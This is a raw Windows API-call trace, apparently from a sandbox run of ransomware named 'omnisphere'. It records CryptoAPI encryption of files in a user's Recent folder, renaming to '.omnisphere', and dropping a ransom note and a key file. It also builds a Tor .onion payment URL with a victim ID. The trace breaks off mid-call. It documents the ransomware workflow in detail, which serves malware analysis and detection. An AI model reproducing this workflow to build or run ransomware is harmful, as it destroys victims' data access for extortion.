[0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] GetTickCount () returned 0x115f922 [0126.510] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669230) returned 1 [0126.511] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0126.511] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.511] CryptDestroyKey (hKey=0x16395e8) returned 1 [0126.511] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0126.511] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ba, lpName=0x0) returned 0x288 [0126.511] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ba) returned 0x1480000 [0126.512] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668df0) returned 1 [0126.512] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0126.512] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.512] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.512] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.512] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.512] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.512] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.512] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.513] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.514] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.514] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.514] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.514] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.514] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.514] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.514] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.514] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.515] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.515] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.515] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.515] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.515] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.515] CryptDestroyKey (hKey=0x1639568) returned 1 [0126.515] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0126.515] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x2ba, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.515] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.516] GetProcessHeap () returned 0x1600000 [0126.516] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x16da568 [0126.516] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lixgae7st bg6dkdjhlr.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lixgae7st bg6dkdjhlr.lnk.omnisphere")) returned 1 [0126.516] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk.omnisphere.id" [0126.516] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lixgae7st bg6dkdjhlr.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.517] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.517] CloseHandle (hObject=0x3c0) returned 1 [0126.518] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.518] CloseHandle (hObject=0x288) returned 1 [0126.518] SetEndOfFile (hFile=0x28c) returned 1 [0126.518] FlushFileBuffers (hFile=0x28c) returned 1 [0126.522] CloseHandle (hObject=0x28c) returned 1 [0126.522] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\liXGae7sT bG6dkDjhlr.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.522] GetProcessHeap () returned 0x1600000 [0126.522] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16da838 [0126.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.522] GetProcessHeap () returned 0x1600000 [0126.522] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d57d0 [0126.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d57d0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.522] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.522] GetProcessHeap () returned 0x1600000 [0126.522] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8148 [0126.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8148, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.523] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.523] GetProcessHeap () returned 0x1600000 [0126.523] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0388 [0126.523] PathCombineW (in: pszDest=0x16c0388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.523] GetProcessHeap () returned 0x1600000 [0126.523] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d31e8 [0126.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.523] WriteFile (in: hFile=0x28c, lpBuffer=0x16d31e8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d31e8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.523] CloseHandle (hObject=0x28c) returned 1 [0126.523] GetProcessHeap () returned 0x1600000 [0126.523] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16da838 | out: hHeap=0x1600000) returned 1 [0126.523] GetProcessHeap () returned 0x1600000 [0126.523] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.523] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.523] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.524] CloseHandle (hObject=0x28c) returned 1 [0126.524] GetProcessHeap () returned 0x1600000 [0126.524] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.524] GetProcessHeap () returned 0x1600000 [0126.524] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166ab78 | out: hHeap=0x1600000) returned 1 [0126.524] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20af5328, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20af5328, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20af5328, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x624, dwReserved0=0x0, dwReserved1=0xd3, cFileName="lPq-WpX7TI4.lnk", cAlternateFileName="LPQ-WP~1.LNK")) returned 1 [0126.524] GetProcessHeap () returned 0x1600000 [0126.524] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656628 [0126.524] PathCombineW (in: pszDest=0x1656628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="lPq-WpX7TI4.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk" [0126.524] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lPq-WpX7TI4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lpq-wpx7ti4.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.524] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1572) returned 1 [0126.524] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.524] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0126.524] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x624, lpName=0x0) returned 0x288 [0126.525] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0126.525] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.525] CloseHandle (hObject=0x288) returned 1 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.525] GetTickCount () returned 0x115f931 [0126.526] GetTickCount () returned 0x115f931 [0126.526] GetTickCount () returned 0x115f931 [0126.526] GetTickCount () returned 0x115f931 [0126.526] GetTickCount () returned 0x115f931 [0126.526] GetTickCount () returned 0x115f931 [0126.526] GetTickCount () returned 0x115f931 [0126.526] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0126.526] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0126.526] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.526] CryptDestroyKey (hKey=0x16395e8) returned 1 [0126.526] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0126.526] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x624, lpName=0x0) returned 0x288 [0126.526] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x624) returned 0x1480000 [0126.527] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668240) returned 1 [0126.527] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0126.527] CryptSetKeyParam (hKey=0x16394e8, 